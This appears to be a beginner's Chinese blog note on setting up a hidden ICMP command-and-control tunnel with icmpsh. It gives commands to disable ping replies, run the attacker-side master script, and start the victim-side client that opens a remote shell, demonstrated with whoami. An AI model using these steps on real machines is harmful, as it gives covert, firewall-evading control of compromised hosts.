隐藏c2隧道---ICMP之icmpsh的使用

纯纯菜鸟的学习记录，如有错误还请纠正

先来了解一下ICMP协议吧

ICMP用来传递差错，控制，查询等信息，在网络层，由于IP协议不可靠，就有了ICMP协议，由于网络探测，路由追踪与回馈

参考于https://blog.csdn.net/qq_21231413/article/details/88171590?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164464850716780265452295%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=164464850716780265452295&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2_allfirst_rank_ecpm_v1~rank_v31_ecpm-2-88171590.pc_search_result_cache&utm_term=icmp%E5%8D%8F%E8%AE%AE&spm=1018.2226.3001.4187

原理：进行隐蔽传输时，攻击端把要执行的命令隐藏在ICMP_ECHO数据包中，肉鸡接收数据包，解出命令并在防火墙内部主机上执行再把执行结果隐藏在ICMP_ECHOREPLY数据包中，发送给外部攻击端

利用关键点：数据部分

下图是ping，然后wireshark抓的ICMP包

ps：ICMP报文是由系统内核处理，不用占用任何端口 (一般通信要端口，比如你访问一个网站[80端口]，本机会随机生成一个大于1023的端口去访问)

工具：icmpsh 处理畸形ping数据

受攻击必须是Windows，，，

1.下载：

git clone https://github.com/inquisb/icmpsh.git

2.关闭ping回复，防止内核自己对ping包回应，刷屏

sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭ping回复，0开启

3.安装环境

git clone https://github.com/SecureAuthCorp/impacket.git #失败的话试试直接连接物理网络

cd impacket

sudo python setup.py install

攻击端：

cd icmpsh

./icmpsh_m.py 受攻击方 #命令

受攻击机方命令

icmpsh.exe -t

执行whoami

ok我们来看看 ICMP数据包（数据包太多了，不停止抓包，数据包一直有，wireshark太强了） data部分就是whoami

学习于漏洞银行